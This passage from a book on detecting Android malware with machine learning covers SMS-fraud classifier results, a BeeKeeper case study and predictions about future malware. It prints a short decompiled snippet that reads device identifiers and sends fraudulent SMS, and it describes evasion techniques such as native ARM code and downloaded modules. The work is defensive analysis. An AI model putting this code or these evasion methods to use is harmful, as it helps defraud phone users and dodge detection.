40 percent do, compared to less than 20 percent of other malware). One
explanation for this difference could be that some SMS fraud families also
dabble in other forms of telephonyrelated fraud. For example, the RuPlay
family contains code to redirect outgoing calls to a phone number provided
by the malware developers, while the BeeKeeper family contains code to
both redirect outgoing calls and make new phone calls to these numbers.
Redirecting outgoing calls also requires the PROCESS_OUTGOING_CALLS permis
sion, which enables apps to learn about outgoing calls in the first place.
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Figure 11-5: Top 20 features that best distinguish Android SMS fraud
malware from other malware using the Extra-Trees classifier
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Also of note is that SMS fraud apps access the READ_LOGS, ACCESS_WIFI_STATE,
and RESTART_PACKAGES permissions less frequently than other malware. How
ever, like ransomware, they invoke the functions org.apache.http.conn and
org.apache.http.conn.schema more frequently than other forms of malware.
The same is also true for org.apache.http.params as well as some Android APIs,
such as those from the packages android.app, android.net, android.content, and
android.content.pm.

Prediction Efficacy
Table 112 shows how our machine learning approaches perform at dis
tinguishing between apps engaging in SMS fraud and other forms of mali
cious apps.

Table 11-2: Metrics for Evaluating Android SMS Fraud Malware vs. Other Malware
Feature set Best classifier AUC Precision Recall F1 FPR FNR
API package XGBoost 0.8075 0.8135 0.7921 0.8027 0.1865 0.2043
Static (S) XGBoost 0.7739 0.7652 0.7926 0.7787 0.2348 0.2165
Dynamic (D) RF 0.6756 0.6395 0.6739 0.6563 0.3605 0.3470
S + D GBDT 0.7949 0.7977 0.7827 0.7901 0.2023 0.2151
API + S + D GBDT 0.8209 0.8088 0.8172 0.8129 0.1912 0.1856
TSG RF 0.7097 0.7110 0.7097 0.7104 0.2890 0.2917
LM RF 0.7443 0.7611 0.5992 0.6705 0.2389 0.3328
FC SVM 0.5459 0.5222 0.6211 0.5674 0.4778 0.4713
CG RF 0.7443 0.7611 0.5992 0.6705 0.2389 0.3328
API + S + D + TSG GBDT 0.9180 0.8619 0.8351 0.8483 0.1381 0.1610
API + S + D + LM XGBoost 0.8718 0.8385 0.7667 0.8010 0.1615 0.2166
API + S + D + FC GBDT 0.8791 0.8388 0.7653 0.8004 0.1612 0.2171
API + S + D + CG GBDT 0.8983 0.8688 0.7912 0.8282 0.1312 0.1932
All features XGBoost 0.9168 0.8635 0.8285 0.8456 0.1365 0.1659
Best late fusion XGBoost 0.9377 0.9273 0.9075 0.9173 0.0727 0.0750

Not surprisingly, predictive accuracy decreases when separating SMS
fraud apps from other malware. Precision drops to under 93 percent, while
recall drops to just below 92 percent. Nevertheless, these are still strong
results.

BeeKeeper: A Case Study
Let’s take a look at the BeeKeeper SMS fraud malware angrybirds.app
(v16, 51fe). Widely distributed around 2013, the malware targeted the
Russian Beeline carrier. Listing 111 shows the list of permissions re
quested by the app.

android.permission.READ_PHONE_STATE

android.permission.SEND_SMS

android.permission.RECEIVE_SMS
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android.permission.INTERNET

android.permission.WAKE_LOCK

android.permission.DELETE_PACKAGES

android.permission.READ_SMS

android.permission.MODIFY_PHONE_STATE

android.permission.CALL_PHONE

android.permission.CALL_PRIVILEGED

android.permission.PROCESS_OUTGOING_CALLS

android.permission.WRITE_CONTACTS

android.permission.WRITE_EXTERNAL_STORAGE

android.permission.READ_CONTACTS

android.permission.RECEIVE_BOOT_COMPLETED

android.permission.RECEIVE_BOOT_COMPLETED

android.permission.ACCESS_WIFI_STATE

android.permission.BLUETOOTH

android.permission.INTERNET

Listing 11-1: All permissions requested by the BeeKeeper SMS fraud malware

You can see that it requests permissions like SEND_SMS, which is necessary
for sending the text messages that perpetrate SMS fraud, and RECEIVE_SMS,
which the malware uses to receive commandandcontrol messages over SMS
when a network connection to its internetbased commandandcontrol server
is unavailable. The CALL_PHONE and PROCESS_OUTGOING_CALLS permissions are also
noteworthy. BeeKeeper uses these to make phone calls to numbers received
from its commandandcontrol server and redirect outgoing calls to other
numbers.

Listing 112 shows one of the several code sections involved in sending
SMS fraud messages.

public boolean load(Context context) {

boolean result = false;

log("Settings::load() start");

try {

Constants.imei = getImei(context);

Constants.imsi = getImsi(context);

Constants.phone = getPhone(context);

Constants.country = getCountry(context);

if (Constants.DEBUG) {

Constants.imsi = "25001";

Constants.data = decript("VY/atwQCBfBnL/CUcJj8Wf0+uk4xyqpeOhWE273WS5...")

}

log("json settings: " + new JSONObject(Constants.data).toString(4));

SharedPreferences sharedPreferences = context.getSharedPreferences(

SETTINGS, 1);

if (sharedPreferences.contains("first")) {

userAgree = sharedPreferences.getBoolean("userAgree", false);

userCancel = sharedPreferences.getBoolean("userCancel", false);

this.subscriptionTime = sharedPreferences.getLong("subscriptionTime", 0);
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this.repeatTime = sharedPreferences.getLong("repeatTime", 0);

this.subscriptionPhone = sharedPreferences.getString(

"subscriptionPhone", "");

this.subscriptionMessage = sharedPreferences.getString(

"subscriptionMessage", "");

JSONArray jsonOperatorList = new JSONArray(

sharedPreferences.getString("operators", ""));

this.operators = new Vector<>();

for (int i = 0; i < jsonOperatorList.length(); i++) {

JSONObject jsonOperator = jsonOperatorList.getJSONObject(i);

Operator operator = new Operator();

operator.name = jsonOperator.getString("name");

operator.time = jsonOperator.getLong("time");

this.operators.add(operator);

}

result = true;

}

} catch (Exception ex2) {

ex2.printStackTrace();

}

log("Settings::load() end");

return result;

}

static void sendSms(JSONObject item) {

try {

Settings.sendSms(item.getString("phone"), item.getString

(Constants.JSON_TEXT));

} catch (Exception ex) {

Settings.log(ex);

}

}

Listing 11-2: A heavily obfuscated code snippet showing the BeeKeeper SMS fraud
malware sending SMS messages

You can see the app extracting the compromised device’s IMEI and
IMSI numbers, its phone number, and its country. A very long encoded
string argument passed to the decript method (which we’ve shortened here
for brevity) is found inside an if statement whose condition is always false.
We cannot be sure why the malware’s author made this choice; perhaps they
wanted to prevent it from executing during testing, which they did by setting
the if condition to false, and then never turned it back on. Lastly, the app
acquires subscription information and executes the sendSms function.
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Predictions for SMS Fraud Samples
Table 113 shows how our machine learning classifiers performed on
10 important SMS fraud samples.

Table 11-3: Performance of Machine Learning Classifiers on SMS
Fraud Families
Sample name Distinguished from

goodware
Distinguished from
other malware

BeeKeeper Yes Yes
Camera Yes No
HDC Bookmark Yes Yes
Joker Yes No
Moundial Yes Yes
RuFraud Yes Yes
RuPlay Yes Yes
TaiClipHot Yes Yes
Wallpaper Yes Yes
WallySMS Yes Yes

As you can see, in every case, they (that is, our late fusion ensemble)
correctly classified the samples as SMS fraud apps rather than goodware.
However, there were two prediction errors when we used the classifiers to
determine whether the samples were SMS fraud apps or another form of
malware. Importantly, one of these errors occurred when classifying Joker,
a malware family likely created by a large criminal syndicate that has taken
extensive steps to evade detection. The malware’s many variants incorporate
one evasion strategy after another in a catandmouse game that has been
going on since 2016, leading to increasingly complex antianalysis methods.

Up Next
As you’ve seen in this chapter, machine learning models provided with a
combination of features are able to successfully predict whether an app is
goodware or an SMS fraud app. Permissions play a major role in these apps’
behavior and are also significant factors that distinguish SMS fraud apps
from other Android malware. However, you’ve also seen that no single fea
ture discussed since Chapter 7 can, on its own, identify a particular kind of
malware.

To maximize detection effectiveness, we recommend using these
machine learning methods in conjunction with the manual analysis tech
niques described in Part II. Use the machine learning models as a triage
system, similar to the process employed in a hospital emergency room:
analysts should first examine apps flagged as highly likely to be malicious
before specialists take a deeper look.
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This is the last malware category chapter. In the next and final chapter,
we will share our thoughts on the future of Android malware and the future
of malware detection with machine learning.
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12
THE FUTURE OF ANDROID

MALWARE

In this last chapter, we’ll share our thoughts
about the future of Android malware, based

on an examination of recent specimens, as
well as trends observed on other platforms. Some

of our predictions are almost guaranteed to come true;
others are more speculative.

Of course, not all Android malware is created for the same purpose,
making it difficult to lay out a unified vision for the future. For this reason,
we’ll restrict our discussion to mass malware, which indiscriminately infects
Android devices in an attempt to make money at scale. Other, more targeted
malware specimens, such as statesponsored remote exploitation tools, have
diverse and complicated motivations, so we won’t cover these here.

When it comes to mass malware, we can consider three areas: technol
ogy, distribution, and economics. We’ll also compare Android to the older
Windows operating system and describe what the trends observed on that
platform mean for future machine learning detection efforts.



Windows vs. Android
To predict future Android malware trends, we can learn from Microsoft
Windows, whose popularity and accessibility are comparable to Android’s.
As Windows is more than 20 years older than Android, a number of the
malware techniques that we are seeing and expect to see in the future on
Android have already appeared on Windows, making it easy to draw par
allels between the two. However, other aspects of the operating systems,
including their licensing and software architecture, are very different and
cannot be easily compared. Thus, certain Android malware technology
trends might not apply to Windows, and vice versa.

Windows
Since the 1980s, Microsoft and hundreds of thirdparty security companies
have helped protect users and computers from Windows malware, as well
as malware targeting its predecessor, MSDOS. As a result, this malware has
gone through many cycles of refinement, taking advantage of newly discov
ered niches in these operating systems before Microsoft catches up.

As an example, recall the file infector viruses of these operating systems’
early days. File infectors modified benign executable files by injecting mali
cious code into them. This kind of malware was extremely common until
Microsoft added executable file signing to Windows. Today, file infectors
are rare, as most benign executable files are signed with a private key that is
known only to the file’s original software developers. Careless modification
of these signed executable files, for example, by a file infector wanting to
inject malicious code, breaks the file’s integrity, and Windows won’t allow
the modified files to execute.

In the late 1990s, Office macro malware surpassed the popularity of file
infectors on Windows. Attackers embedded malicious code in files belong
ing to Office products like Word or Excel, which allowed powerful scripts to
execute many different kinds of attacks against affected systems. Users were
tricked into opening these .doc or .xls files sent via email spam with allur
ing messages promising money or particularly juicy information, like leaked
salary information from their employers. Once again, Microsoft caught up
and closed this vector of attack by making it safer to open Office documents
by default. It also launched additional safety features, like the ability to per
manently disable Office macros across a whole enterprise, to counter this
form of abuse.

In the early 2000s, Windows computers connected to the fledgling
internet were regularly attacked by early internet worms with names like
Code Red, Nimda, and SQL Slammer. These worms took advantage of
Windows installations that had many services exposed to the internet by de
fault (a condition that occurred even on consumer machines, where average
users may not have known the services even existed). The ease with which
these internet worms spread, and the difficulty that users experienced in de
fending themselves, made them the first globally feared malware. The age
of the internet worms peaked early, though, lasting just a few years. Facing
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pressure, Microsoft once again revisited the security of Windows: default
Windows installations exposed fewer services to the internet, and services
that really did need to be enabled were significantly hardened against worm
like attacks.

Microsoft’s work to improve the security of its products is impressive
and not limited to these examples. New Windows malware must find fresh
pathways for abuse, imposing costs on malware developers. In addition,
Windowsspecific antivirus companies have spent decades developing strong
capabilities for detecting and defending against abuse. Once it’s detected
by antivirus tools, the lifetime of new Windows malware is cut short. To
day, successful specimens must be a lot more sophisticated than successful
Android malware, as the Windows ecosystem has gone through many more
cycles of this exploitation and hardening cycle.

Android
What does all of that have to do with the future of Android malware? Our
look at Windows suggests that the best way to stop Android malware in the
long term is to improve the security of the Android ecosystem across the
board. Malware defenders can’t win merely by using a malware detection
and removal strategy.

As discussed in Part I, Android has already experienced several rounds
of hardening; malware authors discover avenues of attack, and Google con
sequently beefs up the security of the operating system. Some of the most
successful defensive examples include Android’s response to attempts to
send fraudulent premium SMS messages. The operating system now shows
a warning dialog whenever an app tries to send a premium SMS, making it
almost impossible for malware to abuse this vector. The deprecation of the
device administration API, which malware abused to gain persistence on de
vices, is another example. Future Android malware will have to continuously
react to such changes, abandon previously profitable attack techniques, and
move on to target less defended parts of the ecosystem.

Operating system improvements are less likely to thwart certain types
of malware, such as those relying on social engineering or advertising fraud,
which really only need an internet connection and a JavaScript engine. Thus,
defenses must involve partnerships with major players in the Android secu
rity ecosystem, including other platform providers, mobile carriers, device
manufacturers, and security companies that benefit from a clean Android
ecosystem. If the profitability of certain types of Android malware can be
lowered enough, malware authors may move on to a different target with a
higher return on investment.

In many ways, however, Android lives in a world with a completely
different threat model than Windows. The first version of Windows was
developed when few people owned personal computers, and even fewer
connected their computers to any kind of public network; the number of
criminal gangs trying to abuse networkconnected computers was just about
zero. From the beginning, Android has run on millions (and later billions)
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of devices with nearly permanent connections to the internet, where thou
sands of criminal gangs are lurking. Understanding this, Android’s develop
ers created a heavily locked down operating system where regular apps, in
cluding malware, have barely any access to areas of the operating system that
could be abused. In theory, this should mean that there are fewer ways for
attackers to abuse Android than Windows. As the platform matures, it will
be interesting to see which overlooked niches malware developers discover
in the future and how the Android team will respond to these threats.

Hiding Malicious Behavior with Anti-Analysis Techniques
Windows malware is more advanced than Android malware in one partic
ular aspect: the antianalysis techniques its developers have deployed over
the years. These techniques make analysis using typical tools like virtual
machines, disassemblers, and decompilers much harder and more frus
trating. Even better for malware authors, many free and commercial exe
cutable packers, obfuscators, and other protectors exist for Windows, so
they don’t need to spend time building their own protection mechanisms.
They can use freely available tools or buy, steal, or pirate powerful commer
cial products.

While similar app protectors exist on Android, they aren’t usually as
advanced. For example, Windows malware authors can choose from a large
set of executable protectors with advanced features like control flow obfus
cation. Certain tools will even transform their original executable code into
protectorspecific virtual machine code. On Android, there are far fewer off
theshelf protectors available, and the features they provide are much less so
phisticated. In the coming years, we expect the sophistication of antianalysis
defenses and executable packers on the Android platform to increase; how
ever, many of the techniques used on Windows are flatout impossible on
Android due to the ways in which the operating system is locked down.

For that reason, Android is unlikely to be targeted by certain attack tech
niques common on Windows, such as privileged code running at kernel level
or tricks that require the coordination of multiple processes, crossprocess
thread injection, and files hidden across the filesystem. One big advantage
of Android for security companies is that nearly everything an app does on
the platform has to happen within the same process. This means security re
searchers can look for malicious behavior in just one place. Barring privilege
escalation exploits, which are extremely rare on recent versions of Android,
abuse cannot be strewn across the system, hiding from detection and analy
sis wherever possible.

Native ARM Code
Because Android prevents the hiding of abuse across the system, malware
authors have explored ways to conceal malware’s functionality within an
app’s single process. One example of such efforts is the use of native assem
bly code as an antidetection measure.
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Historically, malware developers have written their code in Java or Kotlin
and compiled it to DEX, as have most legitimate app developers. However,
certain technical properties of DEX code make it easy for security researchers
to analyze. Malware authors are fully aware of this, which is why we’re seeing
them shift away from DEX code.

The most obvious alternative to DEX code is the use of native assembly
code, usually ARM, compiled from languages like C++. Native assembly code
doesn’t have the nice technical properties of DEX code and is much harder
to parse and analyze. Most, if not all, companies performing Android mal
ware analysis today have more advanced DEX analysis capabilities than ARM
analysis capabilities. We believe malware authors are aware of this fact and
are using it to their advantage.

While Android malware apps compiled to DEX code still outnumber
those compiled to ARM code, we’ve seen malware authors slowly starting
to experiment with ARM code. Some Android malware is completely devel
oped in ARM. In other cases, the harmless parts of the apps are developed
in DEX and the malicious parts in ARM. In yet other cases, ARM usage is
minimal but purposefully applied to circumvent typical capabilities of anti
malware software. For example, in some known Android malware samples,
the ARM code supplies an encryption key to the DEX code, which uses it to
decrypt strings involved in malicious behavior.

Unless a static analysis engine has data flow analysis capabilities that can
cross ARM–DEX code boundaries, it will have a hard time flagging mali
cious behavior hidden in encrypted strings in the DEX code. Malware au
thors likely correctly assume that most security companies do not have the
capabilities for crossarchitecture control flow and data flow analysis.

Downloaded Modules
Because Android devices are often online most of the time, whether through
WiFi or a mobile network, many malware apps targeting the platform rely
on the availability of an internet connection to download additional code
from remote servers. This allows them to hide this malicious code from
analysts.

Using the most common form of this technique, an app might contain
only harmless code in its APK file and download all malicious functionality
from a remote server. Anybody analyzing the APK file for malicious activity
will come up blank unless they also acquire the remote code file, which can
be tricky. Often, attackers won’t upload that file to their servers until their
malware installation base has reached critical mass; there’s no need to tip off
antimalware researchers while you’re still building up your botnet. Security
researchers who are late to the analysis game may likewise miss the window
during which malicious code is available for download.

More sophisticated Android malware today is already deploying com
plex pluginbased architectures through remotely hosted files. Depending
on environmental variables like the user’s phone model, country, or mobile
carrier, the apps download different malicious plugins from remote servers
to optimize the monetization of the malware.
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Less Popular Languages
Another way to deny visibility to antimalware products is to make use of un
common programming languages. It’s safe to assume that defenders can
analyze Java code and (to some degree) native ARM assembly code. But how
many antimalware companies can analyze newer app development frame
works like Flutter or ReactNative? And how many have analysis engines for
languages that are niche on Android, like Lua or Python, especially when
these scripts interact with the Android APIs?

We’ve seen one particularly innovative piece of malware download a
Bash shell and then use it for its malicious activity. First, it ran the Linux
package installation command apt-get inside the shell to install a couple of
standard Linux modules, such as OpenSSL and libcurl, as well as Python.
Then it downloaded Bash scripts to execute malicious code from the shell.
Very few security companies can automatically analyze such setups.

The multitude of scripted and interpreted languages available for
Android makes detection of malware written in these languages very te
dious and requires a serious financial investment. We expect that malware
authors will increasingly go down this road, even if it requires a bit more
upfront investment on their part.

SDK-less Techniques
The holy grail of hiding from security researchers is to not expose any code
at all. As users become increasingly privacyaware and begin to scrutinize
the data collection practices of tech companies, we’ve seen problematic data
broker companies move to what we call SDKless or servertoserver systems.
In the earlier years of Android malware, if a shady data broker wanted to
collect information about users, they would build an SDK and entice devel
opers to embed that SDK in their apps. Of course, this made it easy for se
curity researchers to scrutinize the SDK’s code and identify its problematic
functionality.

In the SDKless world, the data brokers do not provide app developers
with any code at all. Instead, they provide a server endpoint to which apps
should send the collected information. It is the responsibility of the app de
veloper to harvest this data and transmit it. To avoid detection, developers
first send it to their own servers and then forward it to the data broker’s sys
tems. Since nobody can inspect the traffic going between these servers, the
original app developer won’t be implicated in selling user data to the data
broker, and the data broker won’t have an obvious connection to user data
collection at all.

If, for example, a fitness tracker app collects a device’s GPS location or a
contact list backup app sends contact list information to its backup server,
who would be able to verify that they’re then reselling this data without
user consent? Security researchers will have to find ways to trace these data
sales that go beyond app analysis, as nothing suspicious happens in the apps
themselves.
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Distribution
In addition to technical developments, we expect to see new trends evolv
ing in the distribution of Android malware. Although malware authors will
likely continue to target Google Play as an easy way to reach a large audi
ence, the threat of supply chain compromises remains a major concern.
Even sideloaded malware may experience a revival, as recently proven social
engineering methods have successfully tricked millions of users into down
loading and installing apps from malicious websites.

Preloaded Malware and Supply Chain Compromises
Malware enterprises will continue to infiltrate the Android device supply
chain. In Chapter 2, we covered recent incidents in which malware authors
succeeded in subverting equipment manufacturers, device driver manufac
turers, and other companies involved in the development of Android de
vices. With thousands of companies involved in the process, we expect to
see more of this behavior going forward.

Experts speculate about how supply chain compromises can happen.
Based on the stories we’ve heard, the most successful malware authors set
up seemingly legitimate companies that develop apps or SDKs with desir
able functionality. These companies then approach manufacturers that are
part of the supply chain and propose partnerships to license these apps or
SDKs. The manufacturers don’t know that these products come with back
doors or other malicious functionality that operates in the background. This
kind of attack has been highly effective and is very dangerous because mal
ware authors tend to offer functionality that goes into the depths of the
Android operating system, giving malware apps and other malicious system
modifications many more privileges and permissions than they would get if
they were regular apps.

Consider the real example of the backdoored font manager app
EagerFonts described in Chapter 2. Font management software is unprof
itable to develop inhouse, so manufacturers frequently license it from a spe
cialized thirdparty developer. Additionally, manufacturers probably won’t
ask too many questions if the developers tell them to grant the code addi
tional privileges; a font manager could be part of the operating system’s core
functionality and may require more privileges than those given to regular
apps. The hidden backdoor can then use those elevated privileges.

Attacking the supply chain rather than individual Android devices re
quires more initial investment but has some advantages. For example, mal
ware authors don’t need to develop apps that attract many users. Instead,
they need only convince a few decisionmakers somewhere in the supply
chain, which they can do in a more targeted manner. Using Google Play
for malware distribution requires creating effective marketing materials and
advertising campaigns; the apps also shouldn’t seem bad or useless, or else
users will promptly uninstall them. The added danger of being detected by
Google and removed from Google Play makes this effort a risky proposition.
Infiltrating the supply chain with a preinstalled app removes the need to
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create a marketing campaign to distribute the app. The preinstalled malware
doesn’t need to have any uservisible functionality, as it can operate in a hid
den part of the system where it silently runs in the background, executing its
moneygenerating payload.

Another huge advantage, and we believe one of the main incentives
to develop preinstalled malware, is system privileges. In the early days of
Android, malware authors gained elevated privileges on the system by dis
covering privilege escalation exploits, but more recent versions of Android
are significantly harder to exploit, and it may take a long time for new ex
ploits to be published. In the preloaded malware world, gaining elevated
app privileges may just be a matter of asking the subverted manufacturer to
relax some system settings, such as SELinux rules, under false pretenses.

For similar reasons, preinstalled malware is much harder to remove
from devices. Regular apps can simply be uninstalled. This is not the case
for preinstalled apps. Usually, users can do nothing more than disable them,
so the malware could potentially be reenabled. In many cases, even dis
abling preinstalled malware isn’t possible. Malware authors have figured
out that if they inject code into critical applications that ship with the device,
antimalware products won’t be able to disable them. For example, a very
common target for maliciously injected code is the system UI process. De
fenders can’t disable this process without rendering the device unusable, as
it is responsible for the screen display.

Smarter Sideloading
The distribution of sideloaded malware will, of course, continue for as long
as Android allows users to install applications from sources other than Google
Play. Compared to other distribution methods, sideloading is simpler and
has a lower likelihood of attracting the attention of many security researchers.
Malware authors can easily set up their own malware distribution servers or
upload their apps to alternative app stores that may have fewer protections
than Google Play (but also offer access to fewer potential victims).

The Flubot malware family that hit Europe, Australia, and New Zealand
in 2021 made it obvious that sideloaded malware can succeed if users are
heavily socially engineered throughout the sideloading process. Flubot de
velopers were able to get victims to sideload their bankphishing apps at
scale by massspamming users in affected countries with SMS messages that
implied the need for urgent action to download and install a linked malware
app. Most commonly, the Flubot spam messages would claim that the user
was about to receive a package but would have to schedule a delivery time
through the linked app. Flubot proved that hundreds of thousands of users
will click through five or more warning dialogs from the Android operating
system, Google Play Protect, and the Google Messenger app to schedule an
incoming package delivery. Other malware developers have taken note of
Flubot’s success and will likely attempt to emulate these tactics.

We see only one exception to the trend of an increase in sideloaded
malware. Malware distribution in countries where Google Play is not avail
able or popular will continue to target the predominant app stores in these
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countries, as they serve the same role as Google Play in those locations, with
all the advantages and disadvantages for malware distribution.

Malware Economics
Today, Android malware is moving away from techniques that generate high
profits per device but are visible to the user and turning instead to sneakier
techniques that generate less profit per device but are more likely to go un
noticed. Attackers make up for the lower perdevice profits by infecting huge
numbers of devices, with each contributing just a little bit to the total mal
ware revenue.

Modern malware tries to stay hidden from users and remain installed
for a long time so it can keep making a profit for months or years. This also
means that malware cannot abuse users directly, for example by asking for
a ransom in exchange for access to their maliciously encrypted files. User
involvement means detection, and detection means removal. Once users un
derstand that they’re being abused, antimalware companies will soon hear
about it, too. These companies will develop signatures and other defenses
and deploy them to devices, cutting short the malware’s lifetime.

For these reasons, malware has become a lot more subtle and is nowa
days often undetectable during device use, even by the most aware of users.
Instead of locking users out of their devices, this new generation of malware
drives fake traffic to advertising platforms that defraud advertisers, rents
out available network bandwidth to botnets, manipulates social media or
other platforms for pay, or mines cryptocurrency in the background. This
activity is less harmful to users than malware that, say, empties their bank
accounts. On the other hand, it allows malware authors to build up huge
botnets before security companies catch on. Some of these botnets have
grown to command a total network bandwidth that poses a DDoS threat to
even the largest tech companies in the world.

Of course, not all malware will follow the direction described in this
chapter. Like defenders, malware authors are constrained by budgets,
technological knowhow, and business acumen. Lowquality malware will
continue to exist as new malware authors enter the space. For organized
cybercrime, though, the trends are clear: the most successful malware oper
ations come from front companies that manage to infiltrate supply chains,
then use technical means to hide their code from defensive companies.

Machine Learning Trends for Attackers and Defenders
A growing number of security firms now use machine learning for mal
ware detection, employing a variety of techniques to predict whether some
behavior on a device is normal or abnormal. Apps might also be clustered
together based on their respective feature vectors. For instance, many differ
ent variations of an Amazon or eBay app may all end up in the same cluster,
as would variants of an Android malware specimen like Acecard. Thus, while
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the most heavily used machine learning techniques are classification algo
rithms, you’ll see anomaly detection and clustering methods used too.

To date, we don’t have evidence that attackers have been using machine
learning techniques. However, we expect them to do so in the imminent
future. Firstly, attackers could use artificial intelligence and machine learn
ing to identify the targets who are most likely to download their malware. By
gathering information about specific individuals, attackers can build such
behavioral models using classifiers in much the same way that defenders
build predictive models to identify malware apps, as demonstrated in the
previous chapters of this book. Attackers could also use regression models
to predict how much a victim of a ransomware attack might be willing to
pay or how much a victim of a banking trojan might have to steal. Attackers
might prefer to target a smaller number of highvalue victims rather than a
large number of lowvalue victims, as an attack that has many targets is more
likely to be flagged by cybersecurity companies.

Machine learning methods may also allow attackers to inject their mal
ware much more effectively. For example, current vectors for injection in
clude phishing and watering holes, which are URLs that install malware into
the browser or operating system of any individual who makes the mistake
of visiting them. Adversarial phishing algorithms show how adversaries can
avoid algorithms that detect phishing attempts (as described in the paper
“Mitigating Adversarial GrayBox Attacks Against Phishing Detectors” by
Apruzzese and Subrahmanian in IEEE Transactions on Dependable and
Secure Computing).

Phishing attacks will likely improve both in quality and quantity be
cause a number of recent artificial intelligence tools, such as DALLE and
ChatGPT, can generate highly realistic synthetic text blurbs and images and
produce fake tweets, WhatsApp messages, emails, Facebook and Instagram
posts, and more. These new capabilities would allow malicious hackers to
not only develop extremely attractive phishing lures (say, a cute cat video
with a catchy associated text caption), but to do so at scale, cranking out
thousands of different lures in seconds. Some of this fake content will be
posted through the accounts of real users of social and messaging platforms
(who may unwittingly share malicious content). In addition, malware devel
opers will create and leverage fake accounts explicitly for the purpose of dis
tributing malware.

A separate set of attacks that leverage tools such as DALLE and
ChatGPT might seek to automatically compromise legitimate app stores
such as Google Play by posting mostly honest reviews of benign apps (in
order to gain credibility), but also posting dishonest reviews of their mali
cious apps on a regular but infrequent basis, potentially eluding detection
as fake accounts.

On the positive side, defenders might be able to use machine learning
techniques for generating novel content, such as generative adversarial net
works (GANs) and variational autoencoders (VAEs), for defensive purposes. For
example, these techniques can be used to generate content for fake sites,
known as honeypots, that are attractive to attackers. Once an attacker accesses
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a honeypot, they are, unbeknownst to them, within a computational envi
ronment that is carefully set up to log all of their activities. Defenders can
then study them in detail, allowing them to gain an understanding of the
attacker’s tactics, techniques, and procedures, and sometimes even their
identity.

Attackers could potentially use the same artificial intelligence tools to
directly generate malware, and defenders to sharpen their skills at detect
ing it. For example, attackers could use GANs and VAEs to automatically
generate many diverse versions of a given malicious app in the hopes that at
least some will evade detection, while defenders could do the same to study
known malware and learn how to better identify variations of it.

These techniques have the potential to dramatically alter the malware
development and detection landscapes in coming years. However, while at
tackers may try to use GANs to generate malware, they need to avoid obvi
ous errors that many GANs make. For instance, in image processing, GANs
may generate images of people with six fingers rather than five. Humans
may not always spot details like these in images, but in the case of malware,
the analog of such errors will likely lead to nonexecutable code. Thus, the
use of GANs for malware development still has some challenges. Meanwhile,
on the defending side, GANs offer an effective new tool to detect malware
variants that have never been seen before.

To conclude, the democratization of machine learning techniques, along
with the growing number of open source artificial intelligence tools, will
spur the rapid development of new breeds of malware. Cybersecurity firms
must take proactive efforts to prevent malicious actors from gaining the up
per hand in this war.

Next Steps
Although we’ve aimed to provide you with a comprehensive introduction to
the field of Android malware and the use of machine learning to detect it,
you won’t become a capable malware analyst simply by reading books. Here
are some guidelines for continuing your journey.

First, secure a reliable source of malware samples for analysis. If you
can’t get these from your work or school, you may have to seek out com
munity resources. For Android malware in particular, you can find many
resources with a quick web search. In addition, there’s a large community
of security researchers on X who regularly share the latest malware samples.
We recommend that you tune in to this information channel.

Once you’ve secured access to the malware samples, the hard part be
gins. You need to work on mastering your tools, dissecting different types of
malware, and gradually expanding your understanding of how these appli
cations operate to reach their objectives. We’ve found that when someone
without much prior malware analysis experience joins Google’s Android
Security team, it tends to take them an hour or more to reverse engineer
even a common malware sample. We encourage them to reverse engineer
as much malware as possible during their initial weeks, using a number of
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tools, until they can confidently determine whether an Android app is mal
ware in less than two minutes. Keep this goal in mind as you make progress
in your own journey.

The use of machine learning to combat malware is still a fairly new,
rapidly evolving discipline without an easytouse toolchain, making it dif
ficult to get started and become productive fast. You may find it useful to
experiment with libraries for extracting and processing features. Also try
training and validating the implementation of a few machine learning algo
rithms that are of interest to you. Once you see initial results (for example, a
classifier that correctly identifies an Android app as malware), start working
on improving the precision of your models and targeting specific malware
categories.
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